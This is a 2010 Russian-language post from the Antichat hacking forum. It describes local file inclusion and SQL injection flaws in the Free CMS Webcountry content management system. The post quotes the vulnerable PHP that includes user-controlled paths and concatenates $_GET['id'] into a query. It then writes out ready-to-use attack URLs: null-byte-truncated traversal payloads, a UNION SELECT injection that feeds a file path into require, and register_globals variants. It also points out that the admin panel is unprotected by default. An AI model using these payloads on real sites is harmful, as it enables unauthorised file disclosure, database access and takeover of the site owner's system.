ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

321
  #11  
Старый 14.04.2010, 00:35
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию 321

Free CMS Webcountry

Древний релиз! - но компания не дремлет!
Используеться mod_rewrite.
В index.php есть такой код:
PHP код:
...ob_start();
 
$mod=$_GET["mod"];
 if (!IsSet(
$mod)){include "./page/$main_page.php";}
 else {include 
"./page/".$mod.".php";}
 
$contents=ob_get_contents();
 
ob_end_clean();... 
PHP код:
...require("./tpl/$thema.tpl");... 
Переменная $thema определяеться в подключаемом файле c запроса.
Если переменную определить в подключаемом файле, например, не с запроса или с запроса после SQL inj, то расширение можна отбросить.
В БД ничего ценного! Пусть админко запаролена .
В подключаемый файл тулим $thema=$_GET['thema']. И гетом передадим thema=../readme.txt%00, кроме mod.
То должно получиться типо такого: http://localhost/f/index.php?mod=../1.txt%00&thema=../readme.txt%00.
Если переменную $thema не определить, то результат не увидеть с первого инклуда - будет ошибка в фунции require, так как скрипт не выполниться! Как реализовать с proc думаю понятно.

Теперь пример инклуда с результату запроса после проведения SQL ing(или при!).
Подключаем файлик с /page,
допустим, news.php так как там парамтер id передаеться в запрос!
PHP код:
...$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
 
$result mysql_query($query);
 while(
$r=mysql_fetch_array($result))
 {
  
$title=$r["title_page"];
  
$KeyWords_page=$r["KeyWords_page"];
  
$Description_page=$r["Description_page"];
  
$txt_page=$r["txt_page"];
  
$thema=$r["thema"];
 echo 
"$txt_page";}... 
Имеем LFI с 6 поля:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, 6,7,8--+
Warning: require(./tpl/6.tpl) [function.require]:
http://localhost/f/index.php?mod=news&id=3%27+union+select+1,2,3,4,5, %27../readme.txt%00%27,7,8--+
Недостаток при SQL inj в том, что надо mg=off так как id в запросе
PHP код:
...id='".$_GET["id"]."';... 
Так же SQL inj в /pages/index.php
PHP код:
...mysql_select_db ($db_name) or die ("Нет соединения с БД");
 
$query "SELECT * FROM site WHERE id='".$_GET["id"]."';";
 
$result mysql_query($query);... 
up
та й в принципе вектор атаки должен умещаться в рамки url , посему первый вариант не сработает, разве что ось win (при mg=on).
Еще надо сказать, что если rg=on, то $_GET масив тоже формируеться, не только глобальные и значение "магических" к фени!...

Тоесть, при rg=on имеем LFI вот так:
http://localhost/117/index.php?mod=1&thema=../readme.txt%00
http://localhost/117/index.php?mod=1&thema=../readme.txt[/]
http://localhost/117/index.php?mod=1&thema=../readme.txt[.]

ps /adm - админко незапаролена по умолчанию.

Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:59..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ